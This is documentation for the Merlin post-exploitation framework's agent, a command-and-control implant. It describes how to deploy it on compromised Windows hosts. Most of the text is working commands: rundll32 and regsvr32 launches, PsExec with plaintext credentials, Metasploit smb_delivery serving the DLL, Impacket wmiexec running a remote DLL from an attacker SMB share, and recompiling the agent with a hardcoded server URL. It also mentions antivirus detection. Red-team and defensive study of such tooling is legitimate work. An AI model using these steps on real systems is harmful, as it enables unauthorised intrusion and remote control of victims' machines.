Merlin Agent

Merlin is a post-exploitation framework and therefore documentation doesn’t cover any of the steps required to get to a point where you can execute code or commands on a compromised host. Exploiting or accessing a host must performed prior to leveraging Merlin.

Pre-compiled Merlin Agent binary files are distributed with the server download in the data/bin/ directory of Merlin

The Merlin Agent source code can be found https://github.com/Ne0nd0g/merlin-agent

Retrieve with Go and build the Agent:

go get github.com/Ne0nd0g/merlin-agent

Upload & Execute

One of the more simple ways to run Merlin is by uploading the compiled binary file to a compromised host and then execute that binary.

Don’t forget to specify the address of your Merlin server with the -url flag. Default is https://127.0.0.1:443/

Windows Local Command Execution

This section covers executing the Merlin agent with local command execution.

Windows EXE - cmd.exe

With the merlinAgent.exe binary file already downloaded on to the compromised host, execute it by calling it from the command line. Double clicking the executable file will cause the agent to run without a window, so you will not see anything, and it will connect to the default URL of https://127.0.0.1:443/. This can be changed by recompiling the agent with the hardcoded address of your Merlin server.

cmd.exe example:

C:\Users\Bob\Downloads>merlinAgent.exe -url https://192.168.1.100:443/

Windows DLL - rundll32.exe

With the merlin.dll binary file already downloaded on to the compromised host, execute it by calling it from the command line using the rundll32.exe program that comes with Windows. Run is the name of the DLL entrypoint called when the DLL is executed. Provide the URL for your listening Merlin server after the entrypoint.

rundll32.exe example:

C:\Users\Bob\Downloads>C:\WINDOWS\System32\rundll32.exe merlin.dll,Run https://192.168.1.100:443/

Windows Remote Command Execution

This section covers executing Merlin agent when remotely accessing a host.

Windows EXE - PsExec.exe

The Microsoft Sysinternals PsExec.exe application can be used to connect to a remote host, upload the Merlin agent file, and execute it. The downside to this is the Merlin agent binary file is “on disk” and provides an opportunity for Anti-Virus software to detect the application. Use PsExec’s -c flag to specify the location of the Merlin agent file on the attacker’s host that will be uploaded to the remote host. The PsExec -d flag is required so that control is returned to the user after executing the Merlin agent file.

PsExec.exe example:

PS C:\SysinternalsSuite>.\PsExec.exe \\192.168.1.10 -u bob -p password -d -c C:\merlin\data\bin\windows\merlinAgent.exe -url https://192.168.1.100:443/

Windows DLL - Metasploit’s SMB Delivery

One method for delivery is to use an SMB server to host the payload and execute a command on the remote host to download and run the Merlin agent file. The Metasploit windows/smb/smb_delivery module is a good way to quickly stand up an SMB server for delivering the payload.

Setup the windows/smb/smb_delivery module:

msf > use windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set FILE_NAME merlin.dll
FILE_NAME => merlin.dll
msf exploit(windows/smb/smb_delivery) > set EXE::Custom /opt/merlin.dll
EXE::Custom => /opt/merlin/data/bin/dll/merlin.dll
msf exploit(windows/smb/smb_delivery) > set DisablePayloadHandler true
DisablePayloadHandler => true
msf exploit(windows/smb/smb_delivery) > set VERBOSE true
VERBOSE => true
msf exploit(windows/smb/smb_delivery) > run
[*] Exploit running as background job 0.
msf exploit(windows/smb/smb_delivery) >
[*] Server started.
[*] Run the following command on the target machine:
[*] Using custom payload /opt/merlin.dll, RHOST and RPORT settings will be ignored!
rundll32.exe \\192.168.1.100\WxlV\merlin.dll,0
NOTE: We must change the DLL entry point from 0 to Run and provide the URL of the listening Merlin server

Now that the SMB server is setup to deliver the merlin.dll file, we need to remotely access the target host and execute the command. By default, Metasploit sets the entry point to 0. We need to modify the command to change the entry point to Run and specify the location of our listening Merlin server. Impacket’s wmiexec.py Python program is one way to remotely access a host.

wmiexec.py example:

NOTE: We must change the DLL entry point from 0 to Run and provide the URL of the listening Merlin server
root@kali:/opt/impacket/examples# python wmiexec.py bob:password@192.168.1.10
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>rundll32.exe \\192.168.1.100\WxlV\merlin.dll,Run https://192.168.1.100:443/

Advanced

The quick start examples above executed the Merlin agent and allowed the user to dynamically specify the location of the listening Merlin server with a command line parameter. There are a few instances where we the user is unable to specify, or simply don’t want to, the URL for the listening Merlin server. In this case, the Merlin agent binary should be recompiled with a hardcoded URL of the listening Merlin server so that it does not need to be specified by the user during execution. Do not continue on unless you are OK to deal with things that sometimes work and often have bugs and are not reliable.

This will require that you have Go and gcc installed on the host compiling the application

Recompile DLL

The merlin.dll file can be configured with the hardcoded url of your Merlin server. To do this, clone the repo, modify the file, and recompile it.

  1. Clone the merlin repository using git
  2. Edit the main.go file
  3. Find the string var url = “https://127.0.0.1:443/” and change the address
  4. Compile the DLL

example:

cd /opt
git clone -b dev https://github.com/Ne0nd0g/merlin-agent-dll.git
cd merlin-agent-dll
sed -i 's_https://127.0.0.1:443/_https://192.168.1.100:443/_' main.go
make

This will leave the merlin.dll in the bin/v0.5.0/ directory where v0.5.0 is the current version number of Merlin. Now the recompiled version of the DLL can be run without having to specify the address of the Merlin server.

rundll32.exe examples:

  • rundll32.exe merlin,main
  • rundll32.exe merlin,Run

regsvr32.exe examples:

  • regsvr32.exe /s merlin.dll
  • regsvr32.exe /s /u merlin.dll
  • regsvr32.exe /s /n /i merlin.dll